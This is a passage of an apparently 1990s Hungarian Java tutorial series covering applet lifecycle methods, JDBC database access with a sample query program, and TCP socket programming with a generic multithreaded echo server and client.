közben továbblépünk errõl az oldalról, akkor az összes ott futó programka stop módszere is lehívásra kerül. Ha visszatérünk a lapra, akkor már csak a start-ok indulnak el, az init nem. Ha a stop módszert üresen hagyjuk, a lapot elhagyva a programkánk folytathatja a mûködését, ezzel esetleg feleslegesen használva rendszer erõforrásokat. A stop-ban gondoskodhatunk róla, hogy a programka mûködése felfüggesztõdjön. Végezetül a destroy módszer lehetõvé teszi, hogy a programka leállása elõtt felszabadítsa az összes általa lefoglalt speciális erõforrást, tisztán és rendben hagyja itt a világot. A destroy-t pl a böngészõ leállása, vagy egy futó programka újra betöltése elõtt hívja meg. Bár a böngészõk tipikusan egy-egy szálat allokálnak a letöltött oldalon lévõ minden programkához és ebbõl a szálból hívják meg a programkát vezérlõ módszereket, de ez nem zárja ki, hogy a programkánk végrehajtása közben maga is
létrehozzon szálakat. Szálak használata tipikus a folytonos animációt biztosító programkáknál, de célszerû a hosszú ideig tartó inicializálást - pl. nagy méretû képek hálózatról letöltését - is egy párhuzamosan futó szállal file:///E|/docs/Untitled/javaprog.html (31 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu megoldani. Rajzolás A paint módszer, amelynek egy java.awtGraphics osztályba tartozó paramétere is van, szolgál arra, hogy a programka a böngészõ által megjelenített lap területére "rajzoljon", azaz szöveget, grafikát jelenítsen meg. A böngészõ feladata, hogy ezt a módszert lehívja mindig, amikor a programka által használt területre rajzolni kell, pl. init után, vagy ha a bögészõ ablaka láthatóvá válik, mérete megváltozik, más helyre kerül a képernyõn, stb. Ha a programka saját maga akarja kezdeményezni a rajzolást, akkor meghívja a repaint módszert,
amely hatására a böngészõ egy alkalmas idõpontban meghívja a programka update módszerét. Az update is az Applet-bõl öröklõdik, amennyiben nem definiáltuk újra, egyszerûen paint-et hív, de felüldefiniálva lehetõségünk van például kihasználni azt, hogy a programka már felrajzolta, amit akart, nekünk elég a meglévõ képen módosítanunk. Különösebb magyarázat nélkül közlök egy egyszerû példát, a szokásos "Hello világ" programka változatát. A programkában van egy kis csavar: képes átvenni az õt tartalmazó lapról egy paramétert, így a "world" helyett ezt a szöveget írja majd ki, persze, ha létezik egyáltalán ilyen paraméter. A feladat egyszerûsége miatt elég csak az init-et és a paint-et definiálni import import import import java.appletApplet; java.awtGraphics; java.awtFont; java.awtColor; public class HelloWorldApplet extends Applet { Font f = new Font("TimesRoman", Font.BOLD, 36); String name;
public void init() { name = getParameter("name"); if (name == null) name = "World"; name = "Hello " + name + "!"; } public void paint(Graphics g) { g.setFont(f); g.setColor(Colorred); file:///E|/docs/Untitled/javaprog.html (32 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu g.drawString(name, 5, 50); } } Programkák egy Web oldalon Ahhoz, hogy a programkánk egy Web oldallal együtt letöltõdjön és elinduljon, a lapot leíró HTML dokumentumot ki kell egészíteni a programka, annak elhelyezkedésének, esetleges paramétereinek megadásával. Erre a célra szolgál a <APPLET> HTML tag Remélem a példám használatához szükséges, itt közölt HTML lap különösebb magyarázatok nélkül is érthetõ. <HTML> <HEAD> <TITLE>Hello!</TITLE> </HEAD> <BODY> <P> <APPLET CODE="HelloWorldApplet.class" WIDTH=300 HEIGHT=50> <PARAM NAME=name
VALUE="Pisti"> Hello to whoever you are! </APPLET> </BODY> </HTML> Szeretném felhívni a figyelmet a "Hello to whoever you are!" szövegre. Az <APPLET> tag definíciója szerint annak lezárása elõtt szereplõ bármilyen, nem a programka leírásához tartozó szöveget azok a böngészõk jelenítik meg, amelyek nem képesek programkák futtatására. Így ezt a példa lapot olvasva mindenki látna valamit, a szerencsésebbek nagy piros betûkkel azt, hogy Hello Pisti! a kevésbé szerencsések csak azt, hogy Hello to whoever you are! de azért õk se csüggedjenek! Kipróbálod? file:///E|/docs/Untitled/javaprog.html (33 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Kiss István updated: 96/11/03, http://www.eunethu/infopen/cikkek/java/javaproghtml file:///E|/docs/Untitled/javaprog.html (34 of 34)20040118 3:01:04 Adatbázis-kezelés Jávában Forrás: http://www.doksihu
Adatbázis-kezelés Jávában A JDBC könyvtár A könyvtár rétegei Program vagy programka Adatbázisok címzése A JDBC-rõl programozóknak Egy egyszerû példaprogram A JDBC osztályok Adattípusok Tranzakciók Forgalomban lévõ termékek Egyéb adatbázis fejlesztések A Jáva környezet terjedésében jelentõs szerepet játszhat, hogy a programozók milyen szabványos, minden platformon implementált könyvtárakat használhatnak. Már a JDK kezdeti változata is tartalmaz néhány jól használható könyvtárat, mint pl. a hálózatkezelés (javanet), programkák (javaapplet) vagy a kezelõi felületek (java.awt) támogatása Azonban komoly üzleti programok írásához óhatatlanul az adatbázis-kezelés támogatására is szükség van. Az adatbázisok kezelésére szolgáló JDBC (Java Database Connection) könyvtár bekerül az év végén megjelenõ JDK 1.1-es változatába, azaz alap-könyvtárrá válik, azaz a programozók minden architektúrán számíthatnak a
könyvtár meglétére. A JDBC érdekes, és remélhetõleg gyakran követésre találó módon született. A korai specifikációt közzétették az Internet-en és azt a befutott megjegyzéseket figyelembe véve, csak többszörös módosítás után véglegesítették. Azóta a JavaSoft a specifikációnak eleget tevõ implementációt is közzétett, sõt nagy tempóban dolgoznak a független implementációkat tesztelõ készleten is. A JDBC könyvtár A JDBC-t adatbázisok elérésének alacsony szintû, közvetlenül az SQL utasítások szintjét használó könyvtárnak szánták. A könyvtár tervezésénél nem kellett teljesen új dolgokat kitalálni, a tervezõk az X/ OPEN konzorcium SQL CLI (Call Level Interface) specifikációjából indultak ki, amely nagyon hasonló az ipari szabványnak tekinthetõ ODBC (Open Database Connectivity) specifikációhoz. Ettõl lényegében csak a Jáva nyelv C-tõl eltérõ sajátosságainak - objektumorientáltság, mutatók hiánya -
figyelembe vétele miatt tértek el. Egyébként a JDBC - legalábbis a felsõ rétege - nem egyszerûen az ODBC hívási file:///E|/docs/Untitled/jdbc.html (1 of 9)20040118 3:01:05 Adatbázis-kezelés Jávában Forrás: http://www.doksihu felületének becsomagolása, hanem teljesen Jávában implementálódott, így az implementáció megõrizte a Jáva kód architektúra-függetlenségét, hordozhatóságát. Bár a JDBC módszerei segítségével tetszõleges SQL utasításokat, sõt bármilyen szöveges parancsot el lehet juttatni az adatbázis-kezelõnek, de a fejlesztés alatt álló teszt készlet megköveteli, hogy az adatbázis legalább az ANSI SQL92 alapszintû (Entry Level) specifikációját támogassa. Amennyiben az adatbázis-kezelõ megengedi, lehetõség van az adatbázis-kezelõn tárolt eljárások hívására is. A könyvtár rétegei A könyvtár lényege, az ún. JDBC menedzser tulajdonképpen 2 felületet specifikál A felsõ felülete az a programozói
interfész, amely segítségével a programozók elérhetik az adatbázis szolgáltatásait. A menedzser alsó szintje viszont a különbözõ adatbázisok elérését megvalósító meghajtó programok implementációjánál játszik szerepet. A meghajtók implementálására több mód kínálkozik. Készülhet olyan meghajtó, amely valamilyen gyártó specifikus módon kommunikál az adatbázis-kezelõvel. Másik módszer, hogy egy már meglévõ, szabványos ODBC meghajtót megfejelnek egy vékony réteggel, amely a kívánt specifikációra konvertálja az ODBC felületet. Lehetõség kínálkozik arra is, hogy valamilyen nyilvános, általános protokollon keresztül kapcsolódjunk egy adatbázis-kezelõhöz. E két utóbbi megoldás elõnye, hogy több gyártó adatbázisát is ugyanazon meghajtó szolgálhatja ki, igaz viszont, hogy általában kissé lassabban, mintha specifikus meghajtót használnánk. file:///E|/docs/Untitled/jdbc.html (2 of 9)20040118 3:01:05
Adatbázis-kezelés Jávában Forrás: http://www.doksihu Program vagy programka A JDBC szolgáltatásait mind programok, mind programkák felhasználhatják. A Jáva programokkal nincs is különös baj, a Jáva biztonsági szempontból nem törõdik különösebben velük, minden olyan, mint egy nem Jávás program esetében. Azonban a programkákból használt JDBC esete bonyolultabb Egyrészt a programkák a helyi rendszerben tárolt információkat nem érhetnek el, tehát sem az adatbáziskapcsolatok konfigurálását nem lehet helyi állományokban megoldani, sem a felhasználók helyi rendszerbeli azonosítását (pl. Unix UID, User Identifier) nem lehet felhasználni Másrészt a hálózaton keresztüli adatbázis kapcsolatra ki kell terjeszteni a programkáknál szokásos szigorú megszorításokat: egy programka csak azon a szerveren lévõ adatbázishoz kapcsolódhat, ahonnan letöltõdött, sõt, ha a meghajtót is a hálózatról töltötték le, akkor ez is csak a
forrás gépen lévõ adatbázisok elérésére használható. Ezeken a megszorításokon csak a "megbízható" - digitálisan aláírt - programkákkal lehet majd túllépni, no meg az ún. háromlépcsõs (three tiers) kliens-szerver rendszerekkel, ahol a programka a közbülsõ szerverrel tartja a kapcsolatot, amelyik az adatbázis igényeket szétosztja esetleg több gépen elszórt szerverek között. Megjegyzendõ, hogy a JDBC nem foglalkozik az ügyfél program és az adatbázis-kezelõ közötti adatátvitel titkosításával, ez a meghajtó feladata, felelõssége. Adatbázisok címzése A JDBC programokban az adatbázisokra a Hálón már ismert, kibõvített URL (Uniform Resource Locator) szintaxissal lehet hivatkozni: jdbc:<alprotokoll>:<adatbázis hivatkozás> Az alprotokoll neve a meghajtók kiválasztásánál játszhat szerepet, hiszen a JDBC egyes kapcsolatokhoz más-más meghajtót használhat. Az adatbázis hivatkozás pedig már meghajtó
specifikus szöveg lehet, bár az ajánlások szerint ahol lehet, használjuk a szokásos URL szintaxist. Például a jdbc:odbc:employee;UID=scott;PWD=tiger egy ODBC feletti meghajtó használatát írja elõ az employee adatbázishoz, kiegészítõ paraméterként megadva a felhasználó nevét és jelszavát, míg a jdbc:dbnet://vala.holcom:2100/records a vala.holcom gép 2100-as kapuját használva a records adatbázisra hivatkozik, az általános hálózati protokollt használó meghajtón keresztül. file:///E|/docs/Untitled/jdbc.html (3 of 9)20040118 3:01:05 Adatbázis-kezelés Jávában Forrás: http://www.doksihu A JDBC-rõl programozóknak Egy egyszerû példaprogram A példaprogramunk az Oracle adatbázisoknál jól ismert - dolgozói EMP és a részlegeket leíró DEPT táblákat használja. A programunk kiírja az összes olyan dolgozó azonosító számát (EMPNO), nevét (ENAME) és a részlegének nevét (DNAME), akik a paraméterben megadott városban (lévõ
részlegben) dolgoznak. A táblák részletes ismertetése helyett csak annyit jegyzek meg, hogy a feladat megoldásához a két táblát össze kell kapcsolni (join), hiszen a részleg címe csak a DEPT táblában van tárolva. A két tábla között a részleg száma (DEPTNO) teremt kapcsolatot, amely a DEPT tábla kulcsa, az EMP táblában pedig külsõ kulcs. import java.io*; import java.sql*; class Select { public static void main(String argv[]) { try { Connection conn = DriverManager.getConnection("jdbc:odbc:employees"); Megnyitunk egy kapcsolatot az ODBC protokoll segítségével az employees adatbázishoz. PreparedStatement stmt = con.prepareStatement( file:///E|/docs/Untitled/jdbc.html (4 of 9)20040118 3:01:05 Adatbázis-kezelés Jávában Forrás: http://www.doksihu "SELECT emp.empno, empename, deptdname " + "FROM emp, dept" + "WHERE emp.deptno = deptdeptno" + " AND dept.loc = ? "); A nyitott kapcsolathoz
hozzárendelünk egy ún. elõkészített parancsot A parancs tartalmazza az SQL SELECT utasítást, amely az eredmény oszlopait elõállítja. stmt.setString(1, argv[0]); Az SQL parancsban kérdõjel jelzi a megadandó paraméter helyét, ezt a setString módszerrel definiáljuk. ResultSet rs = stmt.executeQuery() while (rs.next()) A parancsot végrehajtva az eredményekhez egy ResultSet típusú objektumon keresztül férhetünk hozzá. A next() módszer az eredmény tábla következõ sorát készíti elõ. Egy while ciklusban végigfutunk a sorokon. { int empno = rs.getInt(1); String ename = rs.getString(2); String dname = rs.getString(3); System.outprint(empno); System.outprint(ename); file:///E|/docs/Untitled/jdbc.html (5 of 9)20040118 3:01:05 Adatbázis-kezelés Jávában Forrás: http://www.doksihu System.outprint(dname); } A ciklusban az eredmény aktuális sora egyes oszlopainak értékéhez a getXXX módszerek segítségével férhetünk hozzá, ahol az XXX egy
Jáva, vagy JDBC adattípus neve. Az értékeket kiírjuk a szabványos kimenetre. } catch (java.langException ex) { exprintStackTrace(); } A példaprogram elég lezseren kezeli a futás közben esetleg elõforduló kivételeket, minden lehetséges kivételt egy kalap alá véve egyszerûen kiírjuk az elõforduláskor érvényes hívási láncot, majd kilépünk. Egy "tisztességes" programban ennél szelektívebben illene a kivételekkel bánnunk. finally { stmt.close(); conclose(); } Az összes sor kiírása, vagy egy hiba bekövetkezése után lezárhatjuk az utasítást és mivel a programban más parancsot nem akarunk végrehajtani, lezárjuk az adatbázis kapcsolatot is. } } Ennyi az egész. A program persze szándékosan egyszerû, de a legfontosabb lépéseket illusztrálja: 1. kapcsolat kiépítése egy adatbázishoz; 2. SQL parancs elõkészítése, esetleg kívülrõl paraméterek megadása; file:///E|/docs/Untitled/jdbc.html (6 of 9)20040118 3:01:05
Adatbázis-kezelés Jávában Forrás: http://www.doksihu 3. a parancs végrehajtása; 4. az eredmény tábla soronkénti feldolgozása; 5. a szükséges lezárások A JDBC osztályok Az egyes fontosabb JDBC osztályokat és kapcsolatukat a következõ ábra szemlélteti: Az itt ábrázolt osztályok segítségével a felhasznált adatbázisok szerkezetének ismeretében a leggyakoribb mûveletek könnyen végrehajthatók, de a JDBC definiál az adatbázisok szerkezetének például táblái nevének, az oszlopai nevének és típusának -, mûködési paramétereinek megállapítására szolgáló osztályokat is. Adattípusok A JDBC meghajtók az SQL adattípusokat lehetõség szerint a szokásos Jáva adattípusokká konvertálják. Ezek a típusok használhatók az egyes oszlopok elérésénél a getXXX(int index), illetve az SQL utasításba bejuttatható setXXX(int index, Object obj) eljárásoknál. Csak a dátum- és idõkezelésnél, illetve a numerikus adatok fix
precizitásának megtartása miatt definiáltak új osztályokat. SQL típus Jáva típus CHAR String VARCHAR String LONGVARCHAR java.io InputStream file:///E|/docs/Untitled/jdbc.html (7 of 9)20040118 3:01:05 Adatbázis-kezelés Jávában Forrás: http://www.doksihu NUMERIC java.sqlNumeric DECIMAL java.sqlNumeric BIT boolean TINYINT byte SMALLINT short INTEGER int BIGINT long REAL float FLOAT float DOUBLE double BINARY byte[] VARBINARY byte[] LONGVARBINARY java.io InputStream DATE java.sqlDate TIME java.sqlTime TIMESTAMP java.sqlTimestamp Látható, hogy a két LONG típus használatánál a Jáva programozó az akár több MByte-nyi visszaadott értékeket állományszerûen, Jáva stream-eken keresztül kezelheti. Tranzakciók Az adatbázis meghajtók alapállapotban az adatbázisokat AUTOCOMMIT módban használják, azaz a táblákat módosító utasítások azonnal érvényre jutnak, de mint a meghajtó sok egyéb mûködésmódja, ez is
módosítható, ilyenkor programból kell kiadni a Connection.commit() vagy Connectionrollback() hívásokat. Forgalomban lévõ termékek Már jelenleg is tucatnyi cég forgalmaz JDBC meghajtókat, de ezek száma napról napra bõvül, az igazán nagy adatbázisrendszerek gyártóinak implementációi még nem hozzáférhetõk. Így is minden lehetséges típusú meghajtóra található példa. JavaSoft a JDBC implementációval együtt szabadon hozzáférhetõvé tett egy JDBC-ODBC áthidaló meghajtót, de létezik jó néhány általános hálózati protokollt használó meghajtó implementáció is. A barkácsolók figyelmébe ajánlom, hogy a közkedvelt és ingyenes mSQLfile:///E|/docs/Untitled/jdbchtml (8 of 9)20040118 3:01:05 Adatbázis-kezelés Jávában Forrás: http://www.doksihu hez is van már JDBC meghajtó. Egyéb adatbázis fejlesztések A JDBC alacsony szintû könyvtárnak készült, de ezzel JavaSoft még nem tartja befejezettnek az adatbázisok környéki
fejlesztéseket. Készülõdik és az év végére ígérnek olyan könyvtárat, amely Jáva osztályokat automatikusan leképzi adatbázis táblákra (Java Object-Relational Mapping). Tervezik már az elosztott tranzakciók kezelését megvalósító Java Transaction Service könyvtárat is. A relációs adatbázis-kezelésen túl a Jáva objektumorientáltsága kínálja az objektumorientált adatbázisok felé nyitást. A már bejelentett objektum sorosítás (object serialization) könyvtár segítségével egyszerû perzisztens objektumokat lehet létrehozni, de készül az ODMG (Object Database Management Group) által specifikált objektumorientált adatbázis-felület Jávához illesztése is. Kiss István updated: 97/05/01, http://www.eunethu/infopen/cikkek/java/jdbchtml file:///E|/docs/Untitled/jdbc.html (9 of 9)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu Hálózatkezelés Jávában Tartalomjegyzék: Szállítási szintû összeköttetés
kezelése Általános szerver és felhasználása TCPListener osztály Az absztrakt TCPServer osztály A kiszolgáló-gyár Visszhang A Jáva hálózati könyvtára (java.net) jelenleg a TCP/IP protokollcsaládra épül - ez a szorosan vett Internet hálózat alapja is -, bár ennek részleteit csaknem teljesen elfedi a programozó elõl, így elvileg nem kizárt, hogy más alapprotokollokat használó könyvtár-implementációk is megjelenjenek. Ez a cikk korlátozott terjedelme miatt mindössze a szállítási szintû protokollok közül a TCP kapcsolatorientált protokoll használatával foglalkozik, de érdemes megemlíteni, hogy a java.net könyvtár a datagrammokra épülõ UDP protokollt is támogatja. Ezeken túl jelenleg az alkalmazói szintû protokollok közül csak a Web alapját jelentõ HTTP (Hypertext Transfer Protocol) protokoll közvetlen használatát támogatja, de lehetõséget ad a programozóknak, hogy egyéb kezelõ eljárásokat (protocol handler) is
beilleszthessen a rendszerbe. A programkákhoz tartozó néhány speciális hálózattal kapcsolatos tevékenység is megtalálható vagy a könyvtárakban, vagy magában a virtuális gépben. Szállítási szintû összeköttetés kezelése A TCP/IP hálózat szállítási rétege kétfajta, az. ún összeköttetés alapú és összeköttetés-mentes szolgáltatást ismer. A összeköttetés alapú szolgáltatást megvalósító TCP (Transfer Control Protocol) protokoll tulajdonképpen a kommunikáló programok között egy kétirányú csõvezetéket valósít meg, amelyen az információ Byte-ok formájában áramlik. A kapcsolatorientált szolgáltatást megbízhatónak is nevezik, mert a TCP biztosítja a Byte-folyam torzításmentes, sorrendhelyes átvitelét, kiküszöbölve az elveszett, megsérült, megduplázódott, késve érkezett információ-csomagok hatását. Ha pedig semmi nem segít, akkor legalább a küldõ, de néha a vevõ is értesül arról, hogy valami
helyrehozhatatlan hiba történt. Az alkalmazások egy részének nincs szüksége ekkora megbízhatóságra, ezek beérik az UDP (User Datagram Protocol) protokoll összeköttetés-mentes szolgáltatásával. Ebben az esetben a könyvtárak és a hálózati architektúra mindössze annyit ígér, hogy egy - nem túl nagy - csomagba összepakolt Byte-okat file:///E|/docs/Untitled/network.html (1 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu egyben elküldi a címzett felé, és mindent megtesz azért, hogy az odataláljon, az elõforduló hibák kiküszöbölése érdekében viszont különösképpen nem fáradozik. Mivel mindkét esetben konkrét programok kommunikálnak, ezek egymásra találásához a számítógéphez tartozó egyedi hálózati címet - az ún. IP címet - ki kell egészítenünk a gépeken futó programok megkülönböztetésére szolgáló címmel. A TCP/IP hálózati rendszerben nem a programokat, hanem a kommunikációra
szolgáló kapcsolódási pontokat, az ún. kapukat (port) azonosítjuk Az elsõ 1024 kapu cím használatát általában korlátozzák, csak rendszergazda jogosultságú programok olvashatják, a többi a "mezei" felhasználók rendelkezésére áll. A kapuk egy része, az ún jól ismert kapuk (well-known ports) minden számítógépen szabványos funkciókat betöltõ programokhoz tartoznak. Egy tipikus szerver mûködésének lépései: 1. Az egyes kapukhoz tartozó kommunikációs csatornákat socket-eknek nevezzük Kapcsolatorientált kommunikációnál kétfajta socket használatos: a szerver oldalon egy kiépülésre váró kapcsolatot az ún. ServerSocket osztály egy példánya valósítja meg: ServerSocket server = new ServerSocket(port); 2. A kliens/szerver rendszerekben a szerver passzív szerepet játszik, arra várakozik, hogy egy kliens megszólítsa. Ha sikeresen kiépül a kapcsolat, a szerver visszatér az accept hívásból a kiépült kapcsolatot
reprezentáló Socket példányból. Socket socket = server.accept(); 3. A socket-bõl két, az input - kliensbõl szerver felé irányuló - és az output - szerverbõl kliens felé tartó - adatfolyam kapható meg. InputStream input = socket.getInputStream(); OutputStream input = socket.getOutputStream(); 4. A szerver törzse az így megszerzett input adatfolyamot olvassa, a vett információt értelmezi és esetleg az output folyamon válaszol. 5. Az adatcsere végén a szervernek vagy a kliensnek le kell zárnia a kapcsolatot jelentõ socket-et Ehhez elõször illik az adatfolyamokat lezárni. input.close(); output.close(); socket.close(); Eztán minden indulhat elölrõl, pontosabban a 2. lépéstõl, ahol a szerver új kérésre vár Amennyiben a file:///E|/docs/Untitled/network.html (2 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu szerverünket szeretnénk egyidejûleg több kérés kiszolgálására is felkészíteni, akkor a 3-5 lépéseket
egyegy külön szállal (Thread) érdemes végrehajtatni, miközben az eredeti szál a 2-es lépésben várakozik. A kliens oldali program még ennél is egyszerûbb. Elõször felvesszük a kapcsolatot az adott Internet címmel (vagy névvel) rendelkezõ számítógép megfelelõ kapuján várakozó kiszolgáló programmal: Socket socket = new Socket (host, port); Innen a lépések megegyeznek a szerver oldal 3-5-ös lépéseivel. Általános szerver és felhasználása A példaprogramunk egy általános szerver programot valósít meg. Általános abban az értelemben, hogy a szerver tevékenységét egy absztrakt osztály valósítja meg, a konkrét szervert megvalósító, leszármazott osztályban egy konstruktort és egy módszert kell csak megírnunk. A szerverünk párhuzamos mûködésû, azaz a hozzá tartozó kapun folyamatosan várja a klienseket, egy kiépülõ kapcsolat kiszolgálására saját szálat indít el. Így egyidejûleg több klienssel is kommunikálhat
Megjegyzés: terjedelmi korlátok miatt a programot kissé megkurtítottam. A hálózati hibák részletesebb kezelése és a szerver kulturált leállítása szenvedte a legtöbb csorbát. TCPListener osztály A kapcsolat figyelését és a párhuzamos kiszolgáló szálakat a TCPListener osztály (TCPListener.java) végzi. import java.net*; import java.io*; import java.util*; Az osztály minden egyes példánya megvalósít egy TCP szervert. Ehhez párhuzamos szálat indítunk el, hogy ne kelljen a konstruktorban várakozni mindaddig, amíg a szerver le nem áll. public class TCPListener implements Runnable file:///E|/docs/Untitled/network.html (3 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu { private ServerSocket server; private int port; private TCPServerFactory factory; private Thread listener; A konstruktor megkapja annak a kapunak a címét, ahol a szerver a kapcsolatokat várja. A második paraméter egy speciális objektum, amely
képes arra, hogy TCPServer típusú objektumokat állítson elõ (ezért nevezik gyárnak, factory-nak). Ezek az objektumok a figyelõ szállal párhuzamosan bonyolítják majd az egyes kliensekkel a kapcsolatot. A konstruktor a paraméterek egyedváltozókba tárolása után elindítja a kapcsolatra figyelõ szálat. public TCPListener(int port, TCPServerFactory factory) { this.port = port; this.factory = factory; listener = new Thread(this); listener.start(); } public void run () { try { A hálózati program elsõ lépései az általános modellt követik. A szerver kapu létrehozása után a kiszolgáló végtelen ciklusban accept-tal egy kliens által kezdeményezett kapcsolatra vár. Ha ez megjött, a kiszolgálógyárral elkészíttetünk egy újabb kiszolgáló objektumot. file:///E|/docs/Untitled/network.html (4 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu server = new ServerSocket(port); while (true) { Socket socket = server.accept();
TCPServer server = factory.createServer(socket); } A hálózati kapcsolat kialakítás közben elõforduló összes hibát együttesen kezeljük - ebben az esetben elhanyagoljuk -, a kiszolgáló leáll. } catch (IOException e) {} shutdown(); } A shutdown módszer feladata a figyelõ szál és az élõ kiszolgálók teljes leállítása. public void shutdown() { if (listener != null) listener.stop(); listener = null; } } Az absztrakt TCPServer osztály A TCPServer osztály (TCPServer.java) feladata az egyes kliensektõl érkezõ kapcsolatok kezeléséhez file:///E|/docs/Untitled/network.html (5 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu szükséges adminisztráció lebonyolítása. import java.net*; import java.io*; abstract public class TCPServer implements Runnable { private Socket socket = null; private Thread life = null; protected DataInputStream in = null; protected PrintStream out = null; protected TCPServer (Socket s) throws
IOException { socket = s; Az osztály konstruktora egyedváltozókban tárolja a paramétereit, majd megszerzi a kiépült kapcsolatot jellemzõ ki- és bemeneti adatfolyamot. Érdemes megfigyelni, hogy a getStream eljárásokból visszakapott egyszerû adatfolyamokat a kényelmesebb kezelésük érdekében különbözõ szûrõkön vezetjük át. A Data és Print osztályok a beépített Jáva adattípusok közvetlen be/kivitelét valósítják meg. in = new DataInputStream(socket.getInputStream())); out = new PrintStream(socket.getOutputStream()),true); file:///E|/docs/Untitled/network.html (6 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu Az új szálból elindulása elõtt démont csinálunk, azaz olyan szálat amelyet a szerver leállásánál a Jáva virtuális gép magától leállít. life = new Thread(this); life.setDaemon(true); life.start(); } A kiszolgáló tevékenysége a run eljárásban zajlik. Ez nem más, mint egy általános
handleSession módszer meghívása. Az esetleges hibákat a program elkapja, de nem kezeli, hiszen nem is tudna velük mit kezdeni. public void run() { try { handleSession(); } catch(IOException e) {}; shutdown(); } A szerver lezárása egyszerû, mind a nyitott adatfolyamokat, mind a socket-et lezárjuk. public void shutdown() { try { if (in != null) in.close(); if (out != null) out.close(); file:///E|/docs/Untitled/network.html (7 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu if (socket != null) socket.close(); } catch (IOException e) { } } Szeretnénk a szerverünket általánosan megírni, amely kezeli lehetõleg az egyes kiszolgáló szálak adminisztrációjának minden részletét, a programozónak csak a kapcsolat konkrét lebonyolításával kell foglalkoznia. Erre szolgál az itt következõ handleSession absztrakt módszer Ezért a TCPServer osztályunk is absztrakt, kell hogy legyen, de az ebbõl leszármaztatott osztályok
majd definiálhatják a szükséges módszer törzsét. A módszer belsejében használhatjuk a nyitott in és out adatfolyamokat. A módszer lenyomatának tanúsága szerint a belsejében az átviteli hibák nem kell foglalkoznunk, ezt majd a felsõ szint (az elõbbi run módszer) kezeli majd. abstract public void handleSession() throws IOException; } A kiszolgáló-gyár Ez legérdekesebb ötlet az egész programban. Az elv ismerõs, az objektumorientált programozásban újabban nagyon divatos módszertan, az ún. tervezési minták (design pattern) egyik ismert tagja a "gyár" Akkor használjuk, amikor azonos objektumokat kell legyártani, de a program fordításakor még nem tudjuk ezek pontos típusát. A megoldás: definiálunk egy általános "gyár" osztályt, amely adott - esetünkben a createServer eljárása - segítségével általános objektum-példányokat - itt TCPServer típusúakat - gyárthatunk. A program futásánál aztán majd az
általános gyár helyett egy konkrétat használunk, amelyik az általános eredménytípusnak megfelelõ, abból leszármaztatott típusú objektumokat állít elõ. Jávában az ilyen általános osztályokat interfészek segítségével is megadhatjuk. Esetünkben ez különösen kézenfekvõ megoldás, mert a módszer belsejét amúgy sem tudnánk itt megírni (TCPServerFactory.java) import java.net*; interface TCPServerFactory file:///E|/docs/Untitled/network.html (8 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu { TCPServer createServer(Socket socket); } Visszhang Az általános szerverünk felhasználására egy olyan példát mutatok, amely egyszerûen soronként visszaküld mindent a kliensnek (EchoServer.java) A szerver leáll, ha "exit" üzenetet vesz import java.io*; import java.net*; A szerverünket az általános TCPServer osztályból származtatjuk le. Csak egy konstruktort illetve az absztrakt handleSession módszert
kell megírnunk. Hasonló könnyedséggel írhatunk bonyolultabb kiszolgálókat is. class EchoServer extends TCPServer { A konstruktor egyszerûen lehívja a szülõ konstruktorát. EchoServer (Socket socket) throws IOException { super(socket); } A szerver szálak tényleges tevékenységét itt kell megadnunk. Mivel a módszer belsejében már file:///E|/docs/Untitled/network.html (9 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu hozzáférhetünk a 2 megnyitott adatfolyamhoz, egyszerûen csak az egyikrõl olvasunk egy sort, majd kiírjuk a másikra mindaddig, amíg - kis és nagybetûket tetszõlegesen tartalmazó - "EXIT" szöveg nem érkezik. Az egyedül arra érdemes figyelni, hogy a kapcsolat elvesztésével elõfordul, hogy szöveg helyett null-t olvasunk. public void handleSession() throws IOException { String s; do { s = in.readLine(); if (s != null) out.println(s); } while (!(s == null ||
s.toUpperCase()equals("EXIT"))); } Szerverünk kipróbálásához elindítunk egy többszálú szerver-csonkot az 5555-ös kapun, megadva neki egy olyan "gyárat", amely termeli majd a kiszolgáló objektumainkat. public static void main (String[] args) { new TCPListener(5555, new EchoServerFactory()); } } A gyár definiálása hasonlóan egyszerû, hiszen csak egyetlen módszert kell megadnunk. A termelõ eljárás egyszerûen lehívja a szerver osztály konstruktorát. Ha ez esetleg hibát okoz, akkor a termelõ nulllal tér majd vissza class EchoServerFactory implements TCPServerFactory file:///E|/docs/Untitled/network.html (10 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu { public TCPServer createServer(Socket socket) { try { return new EchoServer(socket); } catch (IOException e) { return null; } } } A szerver kipróbálásához magyarázat nélkül közlöm egy egyszerû kliens program (EchoClient.java) forrását. A
program követi a cikk elején az általános kliens mûködésnél leírtakat import java.net*; import java.io*; class EchoClient { public static void main (String[] args) { Socket socket = null; DataInputStream in = null, console = null; PrintStream out = null; file:///E|/docs/Untitled/network.html (11 of 13)20040118 3:01:05 Hálózatkezelés Jávában Forrás: http://www.doksihu String s; try { socket = new Socket(args[0], 5555); in = new DataInputStream( new BufferedInputStream(socket.getInputStream())); out = new PrintStream( new BufferedOutputStream(socket.getOutputStream ()), true); console = new DataInputStream(System.in); System.outprintln("Echo client started, type exit to finish!"); do { out.println(consolereadLine()); s = in.readLine(); } while (!( s == null || s.toUpperCase()equals ("EXIT"))); if (in != null) in.close(); if (out != null) out.close(); file:///E|/docs/Untitled/network.html (12 of 13)20040118 3:01:05 Hálózatkezelés
